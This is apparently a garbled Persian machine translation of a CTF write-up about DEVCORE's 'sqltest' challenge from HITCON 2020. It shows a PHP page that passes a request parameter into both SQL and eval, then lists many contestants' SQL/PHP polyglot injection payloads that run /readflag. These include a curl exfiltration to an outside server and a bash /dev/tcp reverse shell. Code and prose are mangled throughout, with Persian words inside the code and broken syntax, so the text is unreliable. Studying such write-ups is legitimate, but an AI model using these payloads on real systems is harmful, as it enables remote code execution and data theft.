برچسب: sqltest

DEVCORE Wargame at HITCON 2020

DEVCORE Wargame در HITCON 2020

شب بخیر – یکی از فعالیتهای عبادت سالانه محافل امنیت اطلاعات ، HITCON 2020 ، حدود یک ماه پیش با موفقیت به پایان رسید. امسال ، ما هنوز چند بازی جنگ کوچک را در غرفه آماده خواهیم کرد تا دوستان خود را در اجتماع به چالش بکشیم. و همچنین چند هدیه نفیس کوچک برای دوستانی که با موفقیت به چالش کشیده اند ، تهیه کرده است.

تعداد کل افرادی که در طی دو روز رویداد حداقل یک پرچم وارد شده و ارسال کرده اند 92 نفر بود. از حضور فعالانه شما بسیار سپاسگزارم. برای کسانی که در این مهلت با موفقیت چالش را با موفقیت پشت سر نگذاشته اند و هدیه کمی دریافت نکرده اند ، زیاد نباشید. با دلسردی ، برای اینکه بتوانیم اطلاعات بیشتری به جامعه بدهیم ، تصمیم گرفتیم یک مقاله فنی برای معرفی یکی از سوالات باز این Wargame sqltest بنویسیم. به همین دلیل ، از همه افرادی که پس از واقعه مشکل را حل کردند ، پرسیدیم. راه حل ها و ایده های همه را جمع آوری کرده و در مقاله بعدی یکی یکی آنها را به شما معرفی می کند!

sqltest توضیحات موضوع

قسمت اصلی این مبحث این سه پرونده است: Dockerfile، readflag.c و index.php. بیایید نگاهی به دو پرونده اول بیندازیم. شما می توانید از Dockerfile در زیر مشاهده کنید که پرچم در پرونده / پرچم قرار گرفته است ، اما مجوزها فقط روی root قابل خواندن است و یک فایل اجرایی با مجوزهای setuid آماده شده است. / readflag ، بنابراین هر کسی هنگام اجرای این پرونده می تواند وانمود کند که ریشه دارد ، و کد منبع / readflag همانطور که در readflag.c در زیر نشان داده شده است. این به سادگی محتوای پرونده / flag را می خواند و از آن خارج می شود. این پیکربندی بسیار استاندارد است موضوع هدف Wargame.

Dockerfile

 FROM   php: 7.4.10-apache 

 # setup OS env 
 RUN  apt update  -y 
 RUN  -php-ext-install mysqli
 RUN  docker-php-ext-enable mysqli

 # web setup application 
 COPY   ./ src / / var / www / html / 

 # setup flag 
 RUN  echo   "DEVCORE {flag}"   ]>  / پرچم
 RUN  chmod  0400 / پرچم
 RUN  chown  ریشه: ریشه / پرچم
 COPY   readflag.c /readflag.ccepts19659009 navaRUN  gcc  -o  / readflag /readflag.c
 RUN  chmod  4555 / readflag

readflag.c

 # شامل 
#include 

 void   main  ()   {
     seteuid  ( 0 
     setegid  (
     0  ])؛ 
     setuid  ( 0 
     setgid  ( 0 

     سیستم  ( "/ bin / cat / flag "
} 

نیمه اول موارد فوق چیدمان محیط است و شروع مسئله واقعی را باید در index.php زیر پیدا کنید ، جایی که $ _ REQUEST همان چیزی است که می توانیم پارامترهای کنترل خودسرانه ، هیچ چک دیگری به غیر از Isset وجود ندارد و سپس پارامترهای موجود در خط 8 برای اجرای در بیانیه SQL آورده می شوند. اگر اجرای SQL موفقیت آمیز باشد و داده ها مورد پرس و جو قرار گیرند ، از خط 15 شروع به پردازش می کند ، از $ _ REQUEST 's $ column متغیر مجدداً مورد استفاده قرار می گیرد و برای اجرا به مقادیر دیگری منتقل می شود ، به این ترتیب ایده حل مسئله کاملاً واضح است. ما باید رشته ای را بسازیم که همزمان قانونی باشد دستور SQL و دستور PHP ، به طوری که هنگام اجرای SQL مقدار بازگشتی وجود داشته باشد و هنگام اجرای PHP هر دستور سیستمی قابل اجرا باشد ، می توانید برای دریافت پرچم پوسته و فراخوانی / readflag دریافت کنید!

index.php

 <؟ php 
 if   (! ])   &&  !  Isset  ( $ _ REQUEST  [ "id" ]))]   {  {19659028]  ( 'بدون ورودی' ) ؛ 
} 

 ستون $   =   $ _ درخواست  [ "ستون" ]؛ 19659082] $ id   =   $ _ REQUEST  [ "id" 
 $ sql   =   "انتخاب" .  ستون $ .  "from mytable where id = '" .  $ id .  "" " ؛ 

 $ conn   = [19659102] mysqli_connect  ( 'mysql'  ،   'کاربر'  ،   'youtu.be/l11uaEjA-iI'  ،   [sqll] 19659027])؛ 

 نتیجه $   =   mysqli_query  ( $ conn ،   sql )؛ [1 9659009] اگر   (  نتیجه $  ) {
     اگر   (  mysqli_num_rows  ( نتیجه $ ) [ نتیجه $ ]  ]  )   {
         $ row   =   mysqli_fetch_object  ( $ result 
         $ str   =   ]  $  output =   $  row -> ".  $ column . "؛ "؛ 
         eval  ( $ str 
    } 
}   دیگری   {
     بمیرد  ( "خطای پایگاه داده" 
 } 

 if   ( Isset  ( خروجی $ ))]   {
     echo   خروجی $ ؛ 
} [19659906] ] چگونه می توان س questionال را حل کرد 

به عنوان یک سال ساز ، مطمئناً باید قبل از جذب یشم آجر بریزید ~

بهره برداری:

 QueryString: column = {passthru ('/ readflag')} & id = 1

SQL: {passthru ('/ readflag')} FROM mytable WHERE id = '1' را انتخاب کنید
PHP: $ output = $ row -> {passthru ('/ readflag')}؛

این راه حل از ویژگی سازگاری MySQL بهره می برد. {identifier expr} دستور زبان ODBC Escape است. MySQL با این دستور زبان سازگار است به گونه ای که وقتی در عبارت ظاهر می شود باعث خطاهای دستوری نخواهد شد. ما می توانیم SELECT {passthru '/ readflag'} FROM mytable WHERE id = '1' را بسازیم این رشته همچنان یک عبارت معتبر SQL خواهد بود ، و بیشتر سعی در حذف فضای خالی در ODBC Escape به اگر این رشته در براکت ها محصور شود ، به SELECT {passthru ('/ readflag')} FROM mytable WHERE id = '1' تبدیل می شود. با توجه به انعطاف پذیری دستوری ارائه شده توسط MySQL ، این بیانیه همچنان قانونی تلقی می شود و می تواند به طور معمول اجرا شود تا همان نتیجه را بدست آورد.

بعد ، قبل از ورود به eval ، یک عبارت PHP مانند این ساخته می شود: $ output = $ row -> {passthru ('/ readflag')} ، زیرا PHP نحو بسیار خوبی را نیز ارائه می دهد انعطاف پذیری $ object -> {expr} به ما امکان می دهد از دستور زبان مانند $ object -> {expr} استفاده کنیم تا از نتیجه اجرای دینامیک عبارت expr به عنوان نام خاصیت شی برای دسترسی به خاصیت شی استفاده کنیم ، بنابراین نتیجه عملکرد passthru را فراخوانی می کند دستورالعمل های سیستم را به نوعی اجرا کنید.

بگذارید من یک دانش سرد اضافه کنم. هنگام فکر کردن در مورد دستورات سیستم ، همه بصورت بصری به استفاده از عملکرد سیستم فکر می کنند ، اما MySQL در 8.0.3 سیستم را به کلمات کلیدی رزرو شده اضافه کرد و محیط این موضوع استفاده از MySQL است 8.0 نصب شده است ، بنابراین اگر از سیستم استفاده کنید ، خراب می شود!

راه حل های دوستان در جماعت

از آنجا که بسیاری از راه حل ها توسط دوستان ارسال شده است ، ما راه حل ها را به سادگی گروه بندی کرده ایم. بعلاوه ، به عنوان یک یادآوری ، ترتیب زیر فقط اختلاف زمان ارسال است و هیچ مزیت و ضرری ندارد. راه حل پرچم راه حل خوبی است! بگذارید در ادامه معرفی کنیم.

ODBC Escape

توسط Mico (https://www.facebook.com/MicoDer/):rors19659179 برگزیده QueryString: column = {exec (٪ 27curl٪ 20http: // Mico_SRV /؟ "/ readflag"٪ 27)}؛٪ 23 & id = 1

SQL: SELECT {exec ('curl http: // Mico_SRV /؟ `/ readflag`)}}؛ # FROM mytable WHERE id =' 1 '
PHP: $ output = $ row -> {exec ('curl http: // Mico_SRV /؟ `/ readflag`)}}؛ #؛

این راه حل بسیار شبیه به پرسشگر است ، اما به جای استفاده از passthru ، که مستقیماً می تواند نتیجه را بیرون دهد ، از اكس به جای آن استفاده می شود و سپس نتیجه از طریق حلقه به سرور من ارسال می شود. به گفته من ، به این دلیل است كه "به هكر فکر كنید چه چیزی باید به سرور XD "XD خودم برگردانم.

تقریباً همه زبانهای برنامه نویسی دارای نمادهای نظر هستند که به توسعه دهندگان اجازه می دهد توصیف متن را در وسط کد اضافه کنند تا توسعه دهنده بعدی بتواند به سرعت معنی کد را درک کند. البته SQL و PHP نیز نمادهای حاشیه نویسی خاص خود را دارند اما نمادهایی که از آنها پشتیبانی می کنند کمی متفاوت هستند و این تفاوت کوچک می تواند ما را در رسیدن به اهدافمان یاری کند.

توسط LJP (https://ljp-tw.github.io/blog/)-109459009 برگزیده شده: مندرجات 19659191 برگزیده QueryString: column = id٪ 0a– / *٪ 0a– * /؛ system ('/ readflag') ؛٪ 0a & id = 1

SQL: شناسه SELECT
– / *
– * /؛ سیستم ('/ readflag')؛
از mytable WHERE شناسه = '1'
PHP: $ output = id
– / *
– * /؛ سیستم ('/ readflag')؛
؛

این راه حل پیچیده به نظر می رسد ، اما در واقع ماهیت آن بسیار ساده است و از ویژگی های دو زبان برای پشتیبانی از نمادهای حاشیه سازی مختلف استفاده می کند. برای SQL ، - نمادهایی برای نظر هستند ، كه از تمام متن هایی كه با خط تغییر به پایان می رسد چشم پوشی می كنند. بنابراین ، رشته ای كه با - شروع می شود در هر خط برای SQL نامرئی است. در مرحله بعد ، بیایید PHP را بررسی کنیم. برای PHP ، / * هر رشته * / این روش برای نمایش نظرات است. ابتدا و انتها از / و * تشکیل شده است. رشته های وسط قابل مشاهده نیستند. همچنین از خط شکسته ها پشتیبانی می کند ، و - نشان دهنده یک عملگر کاهش در PHP است ، بنابراین رشته هایی مانند خروجی $ - در واقع 1 از خروجی $ را کم می کنند. بر اساس ویژگی های فوق ، برای راه حل فوق ، در واقع ، فقط خط سوم دیده شده توسط PHP `؛ system ('/ readflag')؛ 'به عنوان کدی در نظر گرفته می شود که باید اجرا شود ، و بقیه به عنوان یک کلمه نظر در نظر گرفته می شود خواه SQL باشد یا PHP رشته نادیده گرفته می شود ، بنابراین می توان پرچم را با موفقیت اجرا کرد.

توسط ankleboy (https://www.facebook.com/profile.php؟id=100001963625238):andid19659179 برگزیده QueryString: ستون = نام٪ 20 / *!٪ 20 از٪ 20 قابل تغییر٪ 20 * /٪ 20 -٪ 20؛٪ 20 سیستم (٪ 22 / readflag٪ 22) & id = 1

SQL: SELECT name / *! from mytable * / -؛ system ("/ readflag") از mytable WHERE id = '1'
PHP: $ output = $ row-> name / *! از mytable * / -؛ system ("/ readflag")؛

این راه حل از حاشیه نویسی نیز استفاده می کند ، اما به نظر می رسد که نمادهای حاشیه نویسی مورد استفاده کمی خاص هستند. / * * / علاوه بر PHP ، MySQL از این نماد حاشیه نویسی پشتیبانی می کند که به چندین خط اجازه می دهد ، اما اگر بیشتر اضافه کنید یک علامت تعجب / *! * / ، همه چیز کمی متفاوت است. این یک نماد حاشیه نویسی مخصوص MySQL است. رشته این نماد همچنان توسط MySQL به عنوان بخشی از SQL اجرا می شود. در میان سایر DBMS ها ، از آنجا که با / * شروع می شود ، یک متن نظر ساده در نظر گرفته می شود و نادیده گرفته می شود ، به توسعه دهندگان اجازه می دهد کد قابل حمل بنویسند. بنابراین ، یک رشته متون نظرات توسط MySQL قابل مشاهده است اما توسط PHP قابل مشاهده نیست. SQL را مجبور کنید تا بیانیه های حقوقی را در متن نظر بسازید ، و سپس با استفاده از حاشیه نویسی - برای بستن تمام بیانیه های اضافی SQL و سپس پس از - ، می توانید هر کد اجرای PHP را بنویسید.

توسط FI:

 QueryString: column = id / *! از mytable union "/readflag`*/" را انتخاب کنید. / **** از mytable * / `/ readflag`٪ 23؟> & id = 1

SQL: ID را انتخاب کنید / *! از mytable union "/readflag" را انتخاب کنید.
PHP: $ output = $ row-> id / *! از mytable union `` /readflag`*/./*!id from mytable * / `/ readflag` #؟>؛

همچنین از نماد حاشیه نویسی / *! * / برای ساختن یک پرسش قانونی به زور استفاده می کند ، اما جالب اینجاست که MySQL از # نماد حاشیه نویسی تک خطی پشتیبانی می کند که توسط PHP نیز استفاده می شود بله ، بنابراین خطاهای نحوی PHP ایجاد نخواهد کرد. مورد دیگر>> وجود دارد که به پایان بخش PHP مجبور هستند. دانش سرد این است که اگر کد آخرین خط در بلوک PHP است ، را اضافه نکنید ؛ خطایی در نحو ایجاد نمی کند: P

by tree:

 QueryString: column = null - +. $ output = exec ('/ readflag') & id =

SQL: null را انتخاب کنید -. $ output = exec ('/ readflag') از mytable WHERE id = '1'
PHP: $ output = $ row-> null--. $ output = exec ('/ readflag')؛

همچنین از - برای پوشاندن بخشی از کد PHP در SQL استفاده کرد و از کلمه کلیدی null برای ایجاد نتایج بازگشت پرس و جو SQL استفاده کرد ، اما در PHP به $ تبدیل شد row-> null به یک ویژگی $ با نام null دسترسی پیدا می کند ، بنابراین PHP نیز می تواند به صورت قانونی اجرا شود و در آخر متغیر $ output را با نتیجه اجرای دستورات رونویسی می کند ، بنابراین عنوان به ما کمک می کند تا نتیجه را بدست آوریم.

توسط cebrusfs (https://www.facebook.com/menghuan.yu):rors19659179 برگزیده QueryString: column = NULL؛٪ 20 -٪ 20 $ b؛ var_dump (exec (٪ 22 / readflag ٪ 22)) & id = 1

SQL: ستون SELECT = NULL ؛ – $ b؛ var_dump (exec ("/ readflag")) از mytable WHERE id = "1"
PHP: $ output = $ row-> column = NULL؛ – $ b؛ var_dump (exec ("/ readflag"))؛

این راه حل نیز ایده مشابهی است. برای بستن و جمع آوری کد قانونی PHP از - استفاده کنید و در آخر مستقیماً از var_dump استفاده کنید تا نتیجه اجرای اجرا را مجبور کنید.

توسط Jason3e7 (https://github.com/jason3e7):cepts19659179 برگزیده QueryString: column = NULL؛ – $ id٪ 2b system ('/ readflag')؛٪ 23 & id = 1

SQL: SELECT NULL؛ – $ id + system ('/ readflag')؛ # FROM mytable WHERE id = '1'
PHP: $ output = $ row-> NULL؛ – $ id + system ('/ readflag')؛ #؛

این نیز یک ایده مشابه است. قسمت جالب - $ id است. باید به یاد داشته باشید که $ id - یک عملگر کاهش است ، اما گاهی اوقات ممکن است - $ id همچنین یک عملگر کاهش است ، بنابراین این - باعث می شود MySQL آن را به عنوان یک نظر در نظر بگیرد ، اما PHP هنوز آن را یک عملگر کاهش می داند و آن را به طور معمول اجرا می کند.

توسط shoui:

 QueryString: column = null-- - "1"؛ " $ output =  $ row ->". system ('/ readflag'). "؛"؛ & id = 1

SQL: SELECT null-- - "1"؛ " $ output =  $ row ->". system ('/ readflag'). "؛"؛ از mytable WHERE id = '1'
PHP: $ output = $ row-> null-- - "1"؛ " $ output =  $ row ->". system ('/ readflag'). "؛" ؛؛

برای بستن SQL از همان حاشیه نویسی - استفاده کنید ، اما PHP نیز از ویژگی های عملگر کاهش است و سیستم نتیجه اجرای دستور را مستقیماً خارج می کند ، بنابراین می توانید پرچم را مستقیماً بگیرید. من اضافه کرده ام که از خطی که به طور مستقیم کد منبع را در طول آزمون کپی و جای گذاری کرده بود ، برای آزمون استفاده شد و بعداً از ؟ id = 1 & column = null-- - "1"؛ "" .system ('/ readflag') استفاده شد. "؛" بار ساده XD.

ارزیابی رشته با دو نقل قول

PHP به طور خودکار کلمات شروع شده با $ را در رشته محصور شده با دو علامت "" "جستجو می کند ، آنها را در متغیرها تجزیه می کند و سپس مقدار را در رشته جایگزین می کند. این برای خروجی سریع مقادیر متغیری که به طور کامل از پردازش فرار کرده اند بسیار مفید است و می تواند خوانایی کد را افزایش دهد ؛ اما به همین ترتیب ، ما می توانیم از این عملکرد برای انجام کارهای جالب مانند این کد PHP $ str استفاده کنیم. = "$ {phpinfo ()}"؛ شما می توانید مستقیماً تابع phpinfo را اجرا کنید ، از $ str = "$ {system ('id')}" استفاده کنید "؛ برای اجرای دستورات سیستم ؛ و در MySQL ، می توان از نقل قول های دوگانه "" برای نمایش رشته های خالص استفاده کرد ، بنابراین می توان محموله ای ساخت که "MySQL یک رشته خالص را در نظر می گیرد ، اما PHP فکر می کند که باید تجزیه و اجرا شود".

اجازه دهید ابتدا به اولین نمونه نگاه کنیم:

توسط ginoah:

 QueryString: column = id = "$ {system ('/ readflag')}" & id = 1

SQL: SELECT id = "$ {system ('/ readflag')}" FROM mytable WHERE id = '1'
PHP: $ output = $ row-> id = "$ {system ('/ readflag')}"؛

برای SQL ، بازگرداندن نتیجه مقایسه شناسه و رشته است ؛ اما برای PHP ، نتیجه بالا این است که رشته دو نقل شده تجزیه می شود و سپس به متغیر $ row-> id اختصاص می یابد ] ، و نتیجه همانطور که قبلا ذکر شد ، دستور system / readflag را اجرا می کند و نتیجه را به صفحه وب منتقل می کند ، بنابراین می توانید پرچم را دریافت کنید!

توسط بیلی (https://github.com/st424204):rors19659179 برگزیده QueryString: column = name٪ 2b "{$ _ POST [1] ($ _ POST [2])}" "& id = 1
پست: 1 = سیستم و 2 = / readflag

SQL: انتخاب نام + "{$ _ POST [1] ($ _ POST [2])}" از mytable WHERE id = '1'
PHP: $ output = $ row-> name + "{$ _ POST [1] ($ _ POST [2])}"؛

از ویژگی نقل قول مضاعف نیز استفاده می شود ، اما ساختار این مثال پیچیده تر است و از برخی ویژگی های نرم استفاده می کند. در PHP ، اگر متغیر رشته نام یک تابع موجود باشد ، می توانیم از $ func = استفاده کنیم 'system'؛ $ func ('id')؛ این روش برای فراخوانی متغیر است ، این مثال برای استفاده از این ویژگی است ، ما گذشته را از قسمت جلویی $ _ POST [1] به عنوان نام تابع عبور می دهیم ، $ _ POST [2] به عنوان پارامتر تابع اجرا می شود ، بنابراین تا زمانی که پارامتر با همراه باشد 1 = system & 2 = readflag ، می توان پرچم را بدست آورد!

توسط هانس (https://hans00.me)

 QueryString: column = id || "{$ _ POST ['fn'] ($ _ POST ['cmd'])}" "& id = 1
پست: fn = system & cmd = / readflag

SQL: شناسه SELECT || "{$ _ POST ['fn'] ($ _ POST ['cmd'])}" از mytable WHERE id = '1'
PHP: $ output = $ row-> id || "{$ _ POST ['fn'] ($ _ POST ['cmd'])}"؛

این مثال از همان ویژگی های قبلی استفاده می کند. تفاوت در این است که Payload در اینجا از عملگر منطقی OR استفاده می کند || ، در حالی که مورد قبلی از عملگر حساب اضافی + ، اما نتایج یکسان است.

توسط کریس لین (https://github.com/kulisu) ترکیب19659179 برگزیده QueryString: column = TRUE / "$ {system (٪ 27 / readflag٪ 27)}"؛٪ 23 & id = 1

SQL: SELECT TRUE / "$ {system ('/ readflag')}"؛ # FROM mytable WHERE id = '1'
PHP: $ output = $ row-> TRUE / "$ {system ('/ readflag')}"؛ #؛

این نیز از همان مفهوم استفاده می کند و به جای آن از عملگر حساب تقسیم / استفاده می شود. پس از خواندن راه حل ، متوجه شدم که همکار یک همکار است!

اپراتور اجرای

توابع بسیاری در PHP وجود دارد که می تواند دستورات سیستم را اجرا کند ، از جمله یک اپراتور ویژه اجرای. فرم این اپراتور استفاده از backticks "" "برای رشته است آن را بهم بپیچانید تا رشته به عنوان یک فرمان سیستم اجرا شود و داخلی آن در واقع برای اجرای shell_exec است. نکته صمیمی تر این است که این اپراتور همچنین از ارزیابی رشته دو نقل قول پشتیبانی می کند ، بنابراین اگر $ cmd = باشد id '؛ echo `$ cmd`؛ در این فرم ، PHP ابتدا $ cmd را تجزیه می کند تا شناسه را بدست آورد و سپس دستور id id را اجرا می کند ؛ و در MySQL از backtick برای نشان دادن یک شناسه استفاده می شود. برای نشان دادن یک شی ، متداول ترین آن یک جدول یا ستون است. هنگامی که را انتخاب می کنیم ، C را از T انتخاب کنید ، که در آن c و t شناسه هستند ، بنابراین اگر می خواهید برای اجرای دستورات به اپراتور اجرای آن اعتماد کنید ، ممکن است مجبور باشید در همان زمان ، شناسه توسط MySQL قابل شناسایی است.

توسط dalun (https://www.nisra.net):

 QueryString: column = id = "$ _POST [1]"٪ 23؟> & id =٪ 0a + from + (شناسه + را انتخاب کنید) '،' $ _ POST [1] ') + بصورت + a + - +
پست: 1 = / readflag

SQL: SELECT id = "$ _POST [1]" #؟> FROM mytable WHERE id = "
     از (select'id '،' $ _ POST [1] ') به عنوان - "
PHP: $ output = $ row-> id = "$ _POST [1]" #؟>؛

به نظر می رسد این راه حل تنها XD است كه مایل به استفاده از پارامتر id است! با استفاده از نماد نظر # برای بستن پارامتر ستون پس از بستن ، قرار دادن یک نماد خط جدید در پارامتر id و ساخت یک SQL قانونی ، ایجاد یک شناسه قانونی از طریق یک subquery ، و در آخر اجرای دستور سیستم توسط PHP از طریق اپراتور اجرا.

توسط HexRabbit (https://twitter.com/h3xr4bb1t):andid19659179 برگزیده QueryString: [email protected] `bash + -c +" bash + -i +>٪ 26 + / dev / tcp / 1.2.3.4 / 80 +0>٪ 261 "& id = 1

SQL: SELECT name or @ `bash -c" bash -i> & /dev/tcp/1.2.3.4/80 0> & 1 "" FROM mytable WHERE id = '1 "
PHP: $ output = $ row-> name or @ `bash -c" bash -i> & /dev/tcp/1.2.3.4/80 0> & 1 "`؛

هسته اصلی این راه حل اجرای دستورالعمل ها از طریق اپراتور اعدام است ، اما از یک کاراکتر خاص @ استفاده می کند. در MySQL ، این متغیرهای تعریف شده توسط کاربر را نشان می دهد و رشته زیر نام متغیر است و نام می تواند از نویسه های خاص استفاده کند ، به شرطی که از نماد شناسه " برای پیچیدن رشته استفاده کنید. و دسترسی به متغیرهای موجود خطایی ایجاد نمی کند ، MySQL فقط نتایج NULL را برمی گرداند. در PHP ، @ مخفف عملگر کنترل خطا است ، که می تواند قبل از عبارت قرار گیرد ، و PHP تمام پیام های خطای تولید شده توسط این عبارت را نادیده می گیرد. از آنجا که این یک عبارت است ، می تواند به اجرا پیوست شود اپراتور قبل سرانجام ، این راه حل را می توان با اتصال عملگرهای منطقی یا (هر دو پشتیبانی MySQL و PHP و معنی یکسان) برای اجرای دستورات سیستم اجرا کرد.

توسط cjiso1117 (https://twitter.com/cjiso))19659179 برگزیده QueryString: column = $ a٪ 2b`curl 127.0.0.1/$(/readflag)//*! از (انتخاب "asd" "به عنوان" $ a "،" qwe "به عنوان" curl 127.0.0.1/$(/readflag) ") به صورت e * /؛٪ 23 & id = qwe

SQL: گزینه $ a + `curl 127.0.0.1/$(/readflag)`/*!from را انتخاب کنید (" asd "را" $ a "،" qwe "را" curl 127.0.0.1/$(/readflag) "را انتخاب کنید") به عنوان e * /؛ # از mytable WHERE id = 'qwe'
PHP: $ output = $ row -> $ a + `curl 127.0.0.1/$(/readflag)`/*!from (" asd "را به عنوان" $ a "و" qwe "را به عنوان" curl 127.0.0.1 / $ (انتخاب کنید)) / readflag) ") به عنوان e * /؛ #؛

همچنین از / *! * / برای ایجاد متن نظر برای PHP نامرئی و قابل مشاهده برای MySQL برای کنترل نتایج جستجوی پایگاه داده استفاده می کند ، و در آخر از عملگر اعدام برای اجرای دستورات سیستم استفاده می کند ، اما به دلیل " توسط MySQL به عنوان شناسه در نظر گرفته خواهد شد. عدم یافتن منبع مربوطه خطایی ایجاد می کند. بنابراین ، شناسه به زور از طریق دستور زیرشاخه و نام مستعار ایجاد می شود تا درخواست به درستی اجرا شود. من گفتم که در ابتدا فکر کردم که استفاده از / *! * / بسیار زیبا خواهد بود ، اما معلوم شد که یک حلقه بزرگ است

توسط shik (https: // github). com / ShikChen /)

 QueryString: column = id٪ 2b "$ {print_r (` / readflag`)} "& id = 1

SQL: شناسه + "$ {print_r (` / readflag`)} "را از mytable WHERE id =" 1 "انتخاب کنید
PHP: $ output = $ row-> id + "$ {print_r (` / readflag`)} "؛

این راه حل از اپراتور جمع برای ترکیب شناسه ID و رشته دو نقل قول استفاده می کند و سپس از ویژگی ارزیابی برای اجرای کد PHP در رشته دو نقل قول استفاده می کند ، دستور سیستم را از طریق اپراتور اجرا اجرا می کند و سپس با استفاده از print_r برای خروجی مجبور به گرفتن پرچم می شود.

ناشناس:

 QueryString: id = 1 & column = id٪ 2b "$ {" yes "}"

SQL: شناسه را انتخاب کنید + "$ {" yes "} FROM mytable WHERE id = '1"
PHP: $ output = $ row-> id + "$ {" بله "}؛

علاوه بر این ، من یک راه حل ناشناس ارسال کردم. ایده همان ایده قبلی است. به طور خلاصه ، آن نیز ضمیمه شده است.

نتیجه گیری

موارد فوق به اشتراک گذاری یکی از سوالات باز Wargame است که ما برای HITCON 2020 آماده کردیم و معرفی راه حل های همه. آیا آن را دوست دارید یا نه؟ اگر دوست دارید ، به یاد داشته باشید مشترک شوید ، مانند را فشار دهید ، به اشتراک بگذارید و زنگ کوچک را روشن کنید!

به عنوان تخلف ، این بار در مجموع 5 س 100ال 100 امتیازی داریم که شرایط اساسی دریافت جوایز اندک است ، اما همچنین 3 س bonusال جایزه را فقط با 1 امتیاز آماده کردیم. انواع آن 2 وب و 1 است. pwn بی نظیر ، به طوری که همه می توانند توانایی پیشرفته واقعی جنگ را به چالش بکشند و این بار برای حل حداقل یک مشکل جایزه ، دو شرکت کننده زیر هستند:

  • 11/14 Balsn CTF 2020 مجموع پاداش 100000 یوان: 502 امتیاز [19659249] FI: 501

تجارت دوستانه: Balsn CTF 2020 ، که توسط Balsn ، یکی از تیم های معروف CTF تایوان برگزار می شود ، در 14/11 برگزار می شود. آنها پاداش های مسابقه ای و سوالات خلاقانه و فنی را تهیه کرده اند. می خواهم اثبات کنم دوستان قدرت از دستش ندید!

Balsn توییتر: https://twitter.com/balsnctf/status/1316925652700889090 برگزیت19459053 برگزیده Balsn CTF 2020 در CTFtime: https://ctftime.org/event/1122/cepts19659002] علاوه بر این ، در آخر اجازه دهید به yuawn (https://twitter.com/_yuawn))19459009] برای کسب مقام آخر در DEVCORE Wargame با 1 امتیاز تبریک می گوییم! تنها شرکت کننده در این رتبه بندی کلی که بیش از 100 امتیاز کسب نکرده است. در همان زمان ، او همچنین به اولین کشته و تنها راه حل برای مشکل pwn دست یافت. به او تبریک می گویم

سرانجام ، ده مورد برتر امسال را ضمیمه کنید ، اجازه دهید شما را در سال 2021 ببینیم ~ 502 2 FI 501 3 میكو 500 4 مچ پا 500

] 5 500 500 ] 500 6 Meow 500 7 ginoah 500 8 cjiso1117 500 9 500 10 dalun 500

رerیایی که عاشق فناوری امنیت برنامه وب سایت است ،
در آزمایش نفوذ تخصص دارد و آرزو دارد که یک دختر زیبا از نور شود.

.